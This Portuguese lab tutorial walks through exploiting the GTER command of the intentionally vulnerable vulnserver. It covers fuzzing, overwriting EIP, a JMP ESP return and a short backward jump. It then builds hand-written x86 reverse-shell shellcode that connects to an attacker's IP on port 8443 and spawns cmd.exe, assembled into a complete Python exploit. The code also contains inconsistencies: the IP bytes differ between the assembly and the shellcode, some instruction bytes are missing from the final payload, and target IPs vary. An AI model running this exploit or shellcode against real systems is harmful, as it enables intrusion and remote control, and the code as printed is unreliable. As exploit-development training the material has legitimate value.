COMANDO GTER
O comando GTER, assim como os demais, recebe um argumento e dá uma resposta. Neste comando, temos uma situação parecida com a anterior, porém encontramos uma problema com o espaço disponível para nosso shellcode, portanto precisaremos de uma técnica um pouco mais complexa.
Sabendo de seu funcionamento, vamos fazer o fuzzing do comando.
FUZZING
Assim como fizemos com o comando TRUN, vamos utilizar o protocolo Spike. Para tanto, vamos criar nosso script.
gter.spk
1
2
s_string("GTER ");
s_string_variable("*");
Onde: s_string: é um parâmetro imutável, no nosso caso, sempre irá enviar “TRUN ” (não esqueça do espaço após o TRUN); s_string_variable: é um parâmetro que indica o que seŕa mudato em cada envio.
Antes de enviar o fuzzing, vamos iniciar o wireshark monitorando nossa conexão.
Com o programa iniciado na máquina Windows, vamos enviar nosso fuzzing com o script “generic_sender_tcp”.
Podemos ver que na terceira iteração, o programa parou de responder, automaticamente fechou na máquina Windows. Analisando o dump no WIreshark, podemos verificar o que foi enviado.
Podemos observar que o buffer estouruou com 5060 bytes, sendo que o nosso buffer inicia com “/.:/”.
EXPLORAÇÃO
Agora que sabemos que o programa sofreu um crash com 5061 bytes, já incluindo o comando “GTER /.:/”, podemos iniciar o esboço do exploit.
xplgter.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# payload a ser enviado
offset = 5060
payload = b"GTER /.:/" # funcao inicial
payload += b"A" * offset
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado!")
Precisamos iniciar o vulnerver, mas agora com o Immunity Debbuger e rodar nosso script.
Novamente conseguimos sobrescrever o EIP com “41414141”, o que é ótimo, pois conseguimos controlar o endereço da próxima execução após o overflow.
Mas se seguirmos o dump do ESP, podemos ver que temos apenas 20 bytes para inserir nosso shellcode, o que é praticamente impossível uma vez que ele ocupa aproximadamente 350 bytes.
Teremos que usar uma técnica diferente para conseguirmos nossa shell.
Isso também mostra que talvez nem precisemos de todos os 5060 bytes que nosso fuzzing encontrou, vamos criar nosso próprio script para encontrar um fuzzing mais próximo.
fuzzing.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3
import socket
from time import sleep
import sys
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
payload = b"GTER /.:/" # funcao inicial
payload += b"A" * 100 # quantidade inicial de bytes
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.send(payload + b"\r\n")
s.recv(1024)
s.close()
sleep(1)
payload = payload + b"A"*100
except:
print("Buffer estourado em %s bytes"%(str(len(payload))))
sys.exit()
Temos o offset de 309 bytes para criarmos nosso payload.
Sabendo disso, precisamos encontrar o offset preciso para atingir o EIP, vamos utilizar o msf-pattern_create para criar uma string distinta.
1
2
3
$ msf-pattern_create -l 309
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2
Vamos inserí-lo em nosso script.
xplgter.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# payload a ser enviado
offset = 5060
payload = b"GTER /.:/" # funcao inicial
#payload += b"A" * offset
payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado!")
Após reiniciar o vulnserver no Immunity, vamos rodar o script e monitorar o comportamento.
Temos o endereço de EIP de 41396541, vamos consultar no msf-pattern_offset.
1
2
$ msf-pattern_offset -l 309 -q 41396541
[*] Exact match at offset 147
Sabemos que o offset para atingir o EIP é de 147, vamos enviar 147 “A” + 4 “B” e o restande de “C” para validar. Se o offset estiver correto, nosso EIP será preenchido com “42424242” e os outros 20 bytes com “43”.
xplgter.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# payload a ser enviado
offset = 147
payload = b"GTER /.:/" # funcao inicial
payload += b"A" * offset
payload += b"B"*4
payload += b"C" * (309 - 147 - 4)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado!")
Após reiniciar o vulnserver no Immunity, vamos rodar nosso script e monitorar seu comportamento.
Conseguimos atingir com precisão o EIP com nossos “42”.
Ainda temos o problema de espaço de 20 bytes para tentar executar alguma coisa, mas antes de atacar este problema, vamos encontrar um bom endereço de retorno.
ENCONTRANDO UM BOM ENDEREÇO DE RETORNO
O nosso payload vai sobrescrever o buffer, o EIP e o ESP, logo, nosso shellcode será armazenado no ESP, por tanto, precisamos manipular nosso EIP para que aponte para o endereço do ESP. Como sabemos que os endereços da stack são dinâmicos, vamos procurar um JMP ESP conforme fizemos no comando anterior.
Encontramos nossos 9 bons endereços de retorno.
INSERINDO O ENDEREÇO DE RETORNO NO PAYLOAD
Em posse do endereço de retorno, vamos adicionar um deles no lugar de nossos B, eu vou utilizar o 625011d3, porém a notação para envio tem que ser em little indian, portanto os bytes tem ordem inversa, ficando: \xd3\x11\x50\x62
.
Vamos atualizar o exploit.
xplgter.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.26"
porta = 9999
# payload a ser enviado
offset = 147
payload = b"GTER /.:/" # funcao inicial
payload += b"A" * offset # buffer
payload += b"\xd3\x11\x50\x62" # endereco de retorno
payload += b"C" * (309 - 147 - 4) # segundo buffer
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado!")
Precisamos reiniciar o vulnserver no Immunity, mas antes de rodar nosso script, vamos setar um breakpoint exatamente no nosso endereço de retorno: 625011d3. (clicando em “Go to address in Disassembler”, inserindo nosso endereço de retorno e logo em seguida pressionando F2). Agora podemos rodar nosso script.
O programa parou exatamente onde setamos o breakpoint. Ao pressionarmos F7, vamos cair exatamente onde começam nossos “C”(43).
Nota de interpretação: Veja que nos registradores o EIP está em 00cff9c8 e a linha onde esta instrução cai exatamente onde está nosso primeiro 43 no disassembler. (note que no EIP temos 00cff9c8 e no disassembler temos 0cff9c7, existe 1 byte de diferença, mas se observamos o conteúdo, vemos que temos “6243 43”, ou seja, se o 62 corresponde ao endereço 00cff9c7, logo o próximo byte que é nosso 43 será 00cff9c8).
Caímos exatamente onde esperávamos, mas agora temos que resolver o problema: o que fazer com apenas 20 bytes de espaço?
Simples, não podemos fazer nada! Precisamos de um buffer maior, e nós o temos. O buffer onde estão os “A”, pois ele possui 147 bytes, o que não é muito, mas nos permite utilizar algumas técnicas.
Mas vem a questão, se o buffer de “A” já foi utilizado para preencher o buffer primário do programa, como podemos reutilizá-lo?
SALTANDO ENTRE ENDEREÇOS DE MEMÓRIA
Sabemos que ao cair no buffer dos “C”, precisamos pular de volta para o buffer dos “A”.
Na arquitetura x86 temos um jump incondicional que pode pular para qualquer endereço da memória, mas para utilizá-lo, precisamos saber exatamente para onde pular.
Porém os endereços dos buffers esão na stack, o que siginifica que vão mudar toda vez que executarmos o programa.
Vamos rodar o script novamente e observar que os endereços mudaram. Observe a imagem abaixo que mostra exatamente onde se inicia nossos “C”.
Sabemos que desta vez eles se iniciam em 00d8f9c8, se rolarmos a barra pra cima, encontraremos o endereço correspondente ao nosso primeiro “A”.
Nosso primeiro “A” está em 00d8f931, porém estes endereços são da stack e vão mudar a cada vez que executarmos o programa.
Precisamos pular do endereço do primeiro “C” para o primeiro “A”, mas os endereços não são fixos, o que fazer?
Simples, os endereços mudam, mas a distância matemática entre eles não, se eu souber quantos bytes devo pular, sempre cairei exatamente onde quiser. Existem algumas formas de calcular esta distância, vamos explorar duas alternativas.
ENCONTRANDO A DISTÂNCIA COM IMMUNITY DEBBUGER
Se clicarmos duas vezes na instrução disassembler do nosso primeiro “C”, podemos inserir o comando “JMP 00d8f931” que é o endereço do nosso primeiro “A”.
Ao clicarmos em “Assemble”, ele nos retorna a distância entre os dois endereços.
Ele nos deu a distância e965ffffff, porém temos que ter cuidado, pois ele está comparando com o 00d8f9c7, mas sabemos que nosso primeiro “C” está em 00d8f9c8, portanto temos que subtrair 1 byte da distância, resultando em e964ffffff.
Agora sabemos a distância do salto, então, independente do endereço que os buffers possam cair, podemos encontrar nosso endereço de destino.
Antes de testar outra abordagem para calcular o salto, vamos testar em nosso script.
Vamos adicionar nosso salto no script logo após o salto para o EIP.
xplgter.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# payload a ser enviado
offset = 147
payload = b"GTER /.:/" # funcao inicial
payload += b"A" * offset # buffer
payload += b"\xd3\x11\x50\x62" # endereco de retorno
payload += b"\xe9\x64\xff\xff\xff" # salta para o primeiro buffer
payload += b"C" * (309 - 147 - 4 - 5) # segundo buffer
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado!")
Entendendo o payload
1
2
3
4
5
payload = b"GTER /.:/" # funcao inicial
payload += b"A" * offset # buffer
payload += b"\xd3\x11\x50\x62" # endereco de retorno
payload += b"\xe9\x64\xff\xff\xff" # salta para o primeiro buffer
payload += b"C" * (309 - 147 - 4 - 5) # segundo buffer
- Ele vai enviar o comando inicial “GTER /.:/”;
- Ele vai enviar nosso primeiro buffer com 147 “A”;
- Ele vai enviar para o EIP o endereço de retorno para nosso ESP;
- Aqui ele envia o salto para cair novamente no inicio do buffer de “A”;
- Agora ele envia o restante dos “C” onde 309 é o offset para buffer overflow, -4 para descontar os 4 bytes do endereço de retorno e -5 bytes do salto.
Vamos reiniciar o programa novamente com o breakpoint em 625011d3 que é nosso endereço de retorno e rodar nosso script.
Ele parou em nosso endereço de retorno, conforme esperado, agora pressionamos F7 para ir para próxima instrução.
Veja que agora, ao invés de cair em nosso primeiro “C”, ele caiu em um JMP. Se pressionarmos F7 novamente, cairemos onde esse JMP nos levar.
O salto foi precisamente para nosso primeiro “A” com sucesso. Agora que sabemos uma das formas de encontrar o tamanho do salto, vamos tentar descobrir este valor com outra abordagem.
ENCONTRANDO A DISTÂNCIA DO SALTO COM MSF-NASM_SHELL
Antes de irmos para ferramenta em si, temos que saber quantos bytes separam nosso endereço de origem (nosso primeiro “C”) do nosso endereço de destino (nosso primeiro “A”). O que já sabemos é que temos 147 “A”, então partimos desse principio, se observarmos novamente a imagem onde consultamos os endereços, veremos que temos alguns bytes entre o umltimo “A” e o primairo “C”.
Entre eles temos os bytes D3, 11, 50 e 62, ou seja, temos 147 bytes de “A” + 4 bytes separando os buffers, ou seja, temos 151 bytes entre os endereços de origem e destino.
Sabendo este valor, podemos consultar o msf-nasm_shell
com o comando JMP $-151
.
1
2
3
$ msf-nasm_shell
nasm > JMP $-151
00000000 E964FFFFFF jmp 0xffffff69
E ele nos trouxe exatamente o tamanho do salto que encontramos com o Immunity: e964ffffff. Ambas as tecnicas são váilidas e podem ser usadas.
Temos um buffer maior, agora com 147 bytes, mas sabemos que nosso reverse shell ou outros tipos de shell ocupam mais que 300 bytes, o que podemos fazer com o que temos?
Antes de responder esta pergunta, precisamos entender a anatomia de um reverse shell.
ANATOMIA DO REVERSE SHELL
Quando geramos um reverse shell com o msfvenom, recebemos como resposta uma serie de bytes, mas estes bytes tem toda uma arquitetura.
Um reverse ou bind shell nada mais é do que uma série de APIs do Windows que são ordenadas de forma que, ao serem chamadas, fazem uma conexão reversa com o atacante chamando uma instância geralmente do cmd.exe.
Basicamente a ordem das chamadas segue:
- Chama a API WSAStartup() para carregar as DLLs Winsock do Windows;
- Chama a API connect() ou WSASocketA() para criar um socket bind ou uma conexão reversa com o IP do atacante;
- Chama a API CreateProcessA() que por sua vez vai chamar o cmd.exe e redirecionar o STDIN, o STDOUT e o STDERR para o socket criado.
Como nosso alvo é um server TCP, existe uma grande chance das DLLs WinSock já estarem carregadas, e isso vai nos economizar muitos bytes na criação do shellcode.
A ideia é reutilizar as APIs já carregadas nativamente no programa para minimizar o tamanho do nosso shellcode.
Para desenvolvermos este shellcode, precisamos entender como funcionam as APIs que precisamos e como funcionam seus parâmetros, e traduzí-las para Assembly.
Uma observação importante, é que temos que evitar os badchars na construção do código, em nosso caso só temos o “\x00”.
Vamos utilizar a própria documentação da Microsoft para nos auxiliar no processo.
A primeira API que vamos configurar é a WSASocketA() cuja documentação pode ser lida aqui.
1
2
3
4
5
6
7
8
SOCKET WSAAPI WSASocketA(
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFOA lpProtocolInfo,
GROUP g,
DWORD dwFlags
);
Temos que ter em mente que para utilizar as APIs em Assembly, a ordem das chamadas tem que ser inversa, ou seja, vamos começar pela “dwFlags” e terminar na chamada da WSASocketA(), e por fim armazená-la em EAX.
Também precisamos saber o endereço da API no sistema alvo. Os endereços de funções não costumam mudar na mesma versão do Windows com os mesmos updates, portanto, como nosso alvo é o Windows 10 na versão 21H1 provavemlmente este exploit só vai funcionar em alvos com a mesma versão. Porém o processo de descoberta e desenvolvimento é o mesmo para todas as versões.
Para descobrir os endereços que precisamos no OS, vamos utilizar o arwin que pode ser encontrado aqui.
Já sabemos o endereço da API no OS, vamos iniciar nosso codigo em assembly no próprio Kali.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
; WSASocketA()
xor ebx, ebx ; Zerando EBX
push ebx ; Fazendo push para o parametro 'dwFlags' que pode ser nulo
push ebx ; Fazendo push para o parametro 'g' que pode ser nulo
push ebx ; Fazendo push para o parametro 'lpProtocolInfo' que pode ser nulo
mov bl, 6 ; Inserindo valor 6 no Protocol (IPPROTO=6)
push ebx ; Fazendo push para o parametro 'protocol'
xor ebx, ebx ; Zerando EBX
inc ebx ; Incrementando 1 no EBX zerado 'type: SOCK_STREAM=1'
push ebx ; Fazendo push para o parametro 'type'
inc ebx ; Incrementando 1 ao EBX que ja tem valor 1 'af: AF_INET=2'
push ebx ; Fazendo push para o parametro 'af'
mov ebx, 0x76e67140 ; Endereco da WSASocketA() no Win10 21H1
call ebx ; Chamada para WSASocketA()
xchg eax, esi ; Salvando o socket em ESI
Agora precisamos fazer a chamada para a API connect() cuja documentação pode ser encontrada aqui.
1
2
3
4
5
int WSAAPI connect(
SOCKET s,
const sockaddr *name,
int namelen
);
Cujo parâmetro “sockaddr” segue a seguinte ordem:
1
2
3
4
struct sockaddr {
ushort sa_family;
char sa_data[14];
};
Vamos encontrar o endereço da connect() em nosso OS.
Como em Assembly programamos em ordem inversa, o primeiro parâmetro a ser configurado na connect() é o “namelen”,que representa o endereço para onde a conexão será criada, ou seja, da nossa máquina atacante constituido por IP e PORTA, mas os valores tem que ser passados em hexadecimal e com os bytes em ordem inversa, como o IP do meu Kali é 192.168.1.17, teria que seguir a ordem 171168192.
Podemos utilizar a função “hex()” do python para descobrir byte a byte do nosso endereço.
Podemos criar um script em python para descobrir byte a byte do nosso endereço.
ipToHex.py:
1
2
3
4
5
6
#!/usr/bin/python3
ip = "192.168.1.17"
ip = ip.split(".")
print(' '.join((hex(int(i))[2:] for i in ip)))
E ele nos responde o IP byte a byte:
1
2
$ python3 ipToHex.py
c0 a8 1 11
Como precisamos preencher o script emm little indian, a ntação fica: 0x1101a8c0.
Agora vamos fazer o Assembly da função connect().
1
2
3
4
5
6
7
8
9
10
11
12
13
14
; connect
push 0x1101a8c0 ; Fazendo push do endereco de IP 192.168.1.17 em hexa
push word 0xfb20 ; Fazendo push da porta hex(8443)
xor ebx, ebx ; Zerando EBX
add bl, 2 ; Inserindo o valor 2 em 'sa_family' (AF_INET=2)
push word bx ; Fazendo push para o parametro 'sa_family'
mov ebx, esp ; Apontando EBX para a estrutura sockaddr
push byte 16 ; Tamanho do sockaddr: sa_family + sa_data = 16
push ebx ; Fazendo push para o apontador do parametro 'name'
push esi ; Fazendo push no socket para o parametro 's'
mov ebx, 0x76e65710 ; Endereco da connect() no Win10 21H1
call ebx ; Chamando a connect()
Por ultimo, precisamos fazer a chamada para a API CreateProcessA() cuja documentação pode ser encontrada aqui.
Esta função é responsável por chamar o cmd.exe e enviar o STDIN, STDOUT e STDERR para o socket criado, é a função mais longa, pois seus parâmetros também chamam outras funções, porém a grande maioria pode ser nulo.
Abaixo a estrutura da CreateProcessA():
1
2
3
4
5
6
7
8
9
10
11
12
BOOL CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
Vamos encontrar o endereço da função no Win10 21H1.
Primeiro precisamos chamar a função “cmdA” que não existe, em seguida vamos usar a função “shr” (Shift Right) que vai mover os bytes à direita e zerar a origem, mais detalhes sobre a função aqui. O resultado final será “cmd\x00” sem que precisemos digitar o null byte.
Vamos ao código:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
; CreateProcessA()
mov ebx, 0x646d6341 ; Movendo 'cmda' para EBX evitando null byte
shr ebx, 8 ; Transformando EBX em 'cmd\x00'
push ebx ; Fazendo push do cmd
mov ecx, esp ; Fazendo ECX apontar para cmd
; Preenchendo parametro '_STARTUPINFOA'
xor edx, edx ; Zerando EDX
push esi ; Enviando hStdError para nosso socket
push esi ; Enviando hStdOutput para nosso socket
push esi ; Enviando hStdInput para nosso socket
push edx ; cbReserved = null
push edx ; wShowWindow = null
xor eax, eax ; Zerando EAX
mov ax, 0x0101 ; dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
push eax ; Fazendo push do dwFlags
push edx ; dwFillAtribute = null
push edx ; dwYCountChars = null
push edx ; dxXCountChars = null
push edx ; dwYSize = null
push edx ; dwXSize = null
push edx ; dwY = null
push edx ; dwX = null
push edx ; lpTitle = null
push edx ; lpDesktop = null
push edx ; lpReserved = null
add dl, 44 ; cb = 44
push edx ; Fazendo push da _STARTUPINFOA para a stack
mov eax, esp ; Fazendo o EAX apontar para ESP, onde esta a _STARTUPINFOA
xor edx, edx ; Zerando EDX
; Preenchendo o parametro 'PROCESS_INFORMATION'
push edx ; lpProcessInformation
push edx ; lpProcessInformation + 4
push edx ; lpProcessInformation + 8
push edx ; lpProcessInformation + 12
; Chamando a CreateProcessA()
push esp ; lpProcessInformation
push eax ; lpStartupInfo
xor ebx, ebx ; Zerando EBX
push ebx ; lpCurrentDirectory = nulo
push ebx ; lpEnvironment = nulo
push ebx ; dwCreationFlags = nulo
inc ebx ; Incrementando 1 ao EBX zerado (bInheritHandles = True)
push ebx ; Fazendo push para bInheritHandles
dec ebx ; Zerando EBX
push ebx ; lpThreadAttributes = nulo
push ebx ; lpProcessAttributes = nulo
push ecx ; Tornando lpCommandline um pointer para 'cmd'
push ebx ; lpApplicationName = nulo
mov ebx, 0x752b2d90 ; Endereco da CreateProcessA() no Win10 21H1
call ebx ; Chamando a CreateProcessA()
Juntando todo o código Assembly que fizemos no arquivo shellcode.asm, podemos compilar com o nasm no próprio Kali para gerar o arquivo elf shellcode.o.
1
$ nasm -f elf32 shellcode.asm -o shellcode.o
Se utilizarmos o comando “objdump” podemos ver o disassembly do codigo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
$ objdump -d shellcode.o -M intel
shellcode.o: file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: 31 db xor ebx,ebx
2: 53 push ebx
3: 53 push ebx
4: 53 push ebx
5: b3 06 mov bl,0x6
7: 53 push ebx
8: 31 db xor ebx,ebx
a: 43 inc ebx
b: 53 push ebx
c: 43 inc ebx
d: 53 push ebx
e: bb 40 71 e6 76 mov ebx,0x76e67140
13: ff d3 call ebx
15: 96 xchg esi,eax
16: 68 c0 a8 01 0c push 0xc01a8c0
1b: 66 68 20 fb pushw 0xfb20
1f: 31 db xor ebx,ebx
21: 80 c3 02 add bl,0x2
24: 66 53 push bx
26: 89 e3 mov ebx,esp
28: 6a 10 push 0x10
2a: 53 push ebx
2b: 56 push esi
2c: bb 10 57 e6 76 mov ebx,0x76e65710
31: ff d3 call ebx
33: bb 41 63 6d 64 mov ebx,0x646d6341
38: c1 eb 08 shr ebx,0x8
3b: 53 push ebx
3c: 89 e1 mov ecx,esp
3e: 31 d2 xor edx,edx
40: 56 push esi
41: 56 push esi
42: 56 push esi
43: 52 push edx
44: 52 push edx
45: 31 c0 xor eax,eax
47: 66 b8 01 01 mov ax,0x101
4b: 50 push eax
4c: 52 push edx
4d: 52 push edx
4e: 52 push edx
4f: 52 push edx
50: 52 push edx
51: 52 push edx
52: 52 push edx
53: 52 push edx
54: 52 push edx
55: 52 push edx
56: 80 c2 2c add dl,0x2c
59: 52 push edx
5a: 89 e0 mov eax,esp
5c: 31 d2 xor edx,edx
5e: 52 push edx
5f: 52 push edx
60: 52 push edx
61: 52 push edx
62: 54 push esp
63: 50 push eax
64: 31 db xor ebx,ebx
66: 53 push ebx
67: 53 push ebx
68: 53 push ebx
69: 43 inc ebx
6a: 53 push ebx
6b: 4b dec ebx
6c: 53 push ebx
6d: 53 push ebx
6e: 51 push ecx
6f: 53 push ebx
70: bb 90 2d 2b 75 mov ebx,0x752b2d90
75: ff d3 call ebx
Este é basicamente o shellcode que utilizaremos, mas precisamos sanitizá-lo para podermos utilizar em nosso sxript, vamos utilizar o próprio bash para isso.
1
2
3
$ for i in $(objdump -d shellcode.o -M intel | grep '^ ' | cut -f2); do echo -n '\\x'$i;done;echo
\x31\xdb\x53\x53\x53\xb3\x06\x53\x31\xdb\x43\x53\x43\x53\xbb\x40\x71\xe6\x76\xff\xd3\x96\x68\xc0\xa8\x01\x0c\x66\x68\x20\xfb\x31\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x10\x53\x56\xbb\x10\x57\xe6\x76\xff\xd3\xbb\x41\x63\x6d\x64\xc1\xeb\x08\x53\x89\xe1\x31\xd2\x56\x56\x56\x52\x52\x31\xc0\x66\xb8\x01\x01\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x80\xc2\x2c\x52\x89\xe0\x31\xd2\x52\x52\x52\x52\x54\x50\x31\xdb\x53\x53\x53\x43\x53\x4b\x53\x53\x51\x53\xbb\x90\x2d\x2b\x75\xff\xd3
E temos um reverse shell de apenas 117 bytes que cabem perfeitamente no no espaço de 147 bytes!
ATUALIZANDO E ORGANIZANDO NOSSO EXPLOIT
Com o shellcode em mãos, vamos atualizar nosso script.
xplgter.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.26"
porta = 9999
# payload a ser enviado
offset = 147
shellcode = b"\x31\xdb\x53\x53\x53\xb3\x06\x53\x31\xdb\x43\x53\x43\x53\xbb\x40\x71\xe6\x76\xff\xd3\x96\x68\xc0\xa8\x01\x0c\x66\x68\x20\xfb\x31\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x10\x53\x56\xbb\x10\x57\xe6\x76\xff\xd3\xbb\x41\x63\x6d\x64\xc1\xeb\x08\x53\x31\xd2\x56\x56\x56\x52\x52\x31\xc0\x66\xb8\x01\x01\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x80\xc2\x2c\x52\x89\xe0\x31\xd2\x52\x52\x52\x52\x54\x50\x31\xdb\x53\x53\x53\x43\x53\x4b\x53\x53\x51\x53\xbb\x90\x2d\x2b\x75\xff\xd3"
payload = b"GTER /.:/" # funcao inicial
payload += shellcode
payload += b"A" * (offset - len(shellcode))
payload += b"\xd3\x11\x50\x62" # endereco de retorno
payload += b"\xe9\x64\xff\xff\xff" # salta para o primeiro buffer
payload += b"C" * (309 - 147 - 4 - 5) # segundo buffer
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado! Cheque o netcat.")
Script pronto, vamos setar um netcat na porta 8443 que configuramos no Assembly e testar nosso exploit.
Como podemos ver, recebemos a conexão reversa, mas não recebemos o shell, precisamos rodar novamente no Immunity Debbuger para entender o que está ocorrendo. Vamos continuar com o breakpoint no nosso endereço de retorno, e avançar passo a passo com F7 até encontrarmos a inconsistência.
Se analisarmos este ponto da execução, veremos que o ESP está apontando para alguns bytes abaixo do fim do nosso shellcode. Isto significa que os PUSHs utilizados em nosso shellcode, fazem com que o ESP se aproxime cada vez mais dele até o ponto de sobrescrevê-lo. Pois ao ponto que a execução flui, no sentido crescente dos endereços de memória, a pilha cresce para trás.
O que podemos fazer, é realinhar nossa stack, antes do envio do nosso shellcode, e isso pode ser feito com duas instruções: PUSH EAX e POP ESP.
O PUSH EAX vai empurrar o valor corrente de EAX para o topo da stack, enquanto o POP ESP vai trazer de volta o valor de ESP, movendo o stack pointer acima do nosso shellcode e protegendo de ser sobrescrito.
Para encontrar os opcodes corretos, podemos utilizar o msf-nasm_shell.
1
2
3
4
5
6
$ msf-nasm_shell
nasm > PUSH EAX
00000000 50 push eax
nasm > POP ESP
00000000 5C pop esp
Temos os opcodes \x50 e \x5c, vamos adicionálos acima de nosso shellcode.
xplgter.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# payload a ser enviado
offset = 147
shellcode = b"\x31\xdb\x53\x53\x53\xb3\x06\x53\x31\xdb\x43\x53\x43\x53\xbb\x40\x71\xe6\x76\xff\xd3\x96\x68\xc0\xa8\x01\x0c\x66\x68\x20\xfb\x31\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x10\x53\x56\xbb\x10\x57\xe6\x76\xff\xd3\xbb\x41\x63\x6d\x64\xc1\xeb\x08\x53\x31\xd2\x56\x56\x56\x52\x52\x31\xc0\x66\xb8\x01\x01\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x80\xc2\x2c\x52\x89\xe0\x31\xd2\x52\x52\x52\x52\x54\x50\x31\xdb\x53\x53\x53\x43\x53\x4b\x53\x53\x51\x53\xbb\x90\x2d\x2b\x75\xff\xd3"
alinhamento = b"\x50\x5c"
payload = b"GTER /.:/" # funcao inicial
payload += alinhamento
payload += shellcode
payload += b"A" * (offset - 2 - len(shellcode))
payload += b"\xd3\x11\x50\x62" # endereco de retorno
payload += b"\xe9\x64\xff\xff\xff" # salta para o primeiro buffer
payload += b"C" * (309 - 147 - 4 - 5) # segundo buffer
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado! Cheque o netcat.")
Agora podemos setar o netcat na porta utilizada no shellcode, em nosso caso 8443 iniciar o vulnserver fora do Immunity e rodar nosso script.
E conseguimos nosso shell reverso.
Nesta vulnerabilidade encontramos um problema de tamanho de buffer para inserir o shellcode, mas conseguimos vencer esta limitação, reutilizando bibliotecas que o programa já utiliza.
Nos próximos comandos, vamos encontrar complexidades diferentes.
Go Go Go !!!